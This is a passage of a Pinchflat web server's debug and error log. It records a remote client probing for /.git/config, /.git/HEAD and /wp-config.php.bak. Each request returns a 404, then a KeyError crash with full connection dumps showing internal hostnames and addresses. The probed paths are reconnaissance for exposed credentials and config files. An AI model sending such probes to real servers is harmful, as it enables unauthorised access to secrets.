"185.177.72.50"} ], request_path: "/manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-oiZN9abnI4AAG8C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, (truncated) 21:08:42.308 [info] GET /asset-manifest.json 21:08:42.309 [debug] QUERY OK source="settings" db=0.1ms idle=60.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.309 [debug] QUERY OK source="settings" db=0.0ms idle=57.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.309 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.310 [error] #PID<0.3324.0> running PinchflatWeb.Endpoint (connection #PID<0.3323.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /asset-manifest.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /asset-manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3323.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/asset-manifest.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49854}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3324.0>, params: %{}, path_info: ["asset-manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/asset-manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-os8dj6VIQEAAPuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3323.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/asset-manifest.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49854}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /asset-manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3323.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/asset-manifest.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49854}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3324.0>, params: %{}, path_info: ["asset-manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/asset-manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-os8dj6VIQEAAPuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, (truncated) 21:08:42.327 [info] GET /.git/config 21:08:42.328 [debug] QUERY OK source="settings" db=0.0ms idle=75.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.328 [debug] QUERY OK source="settings" db=0.0ms idle=63.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.328 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.328 [error] #PID<0.3326.0> running PinchflatWeb.Endpoint (connection #PID<0.3325.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3325.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49860}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3326.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-oxm7h-BnBUAAG-C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3325.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49860}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3325.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49860}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3326.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-oxm7h-BnBUAAG-C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.R (truncated) 21:08:42.339 [info] GET /.git/HEAD 21:08:42.340 [debug] QUERY OK source="settings" db=0.0ms idle=75.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.340 [debug] QUERY OK source="settings" db=0.0ms idle=31.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.340 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.340 [error] #PID<0.3328.0> running PinchflatWeb.Endpoint (connection #PID<0.3327.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3327.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49864}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3328.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-o0cT9aiX6IAAPwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3327.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49864}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3327.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49864}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3328.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-o0cT9aiX6IAAPwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, (truncated) 21:08:42.496 [info] GET /wp-config.php.bak 21:08:42.497 [debug] QUERY OK source="settings" db=0.3ms idle=187.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.497 [debug] QUERY OK source="settings" db=0.0ms idle=169.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.497 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.498 [error] #PID<0.3330.0> running PinchflatWeb.Endpoint (connection #PID<0.3329.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-config.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3329.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49872}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3330.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-pZ6c4ozaG4AAHAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3329.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49872}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3329.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49872}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3330.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, 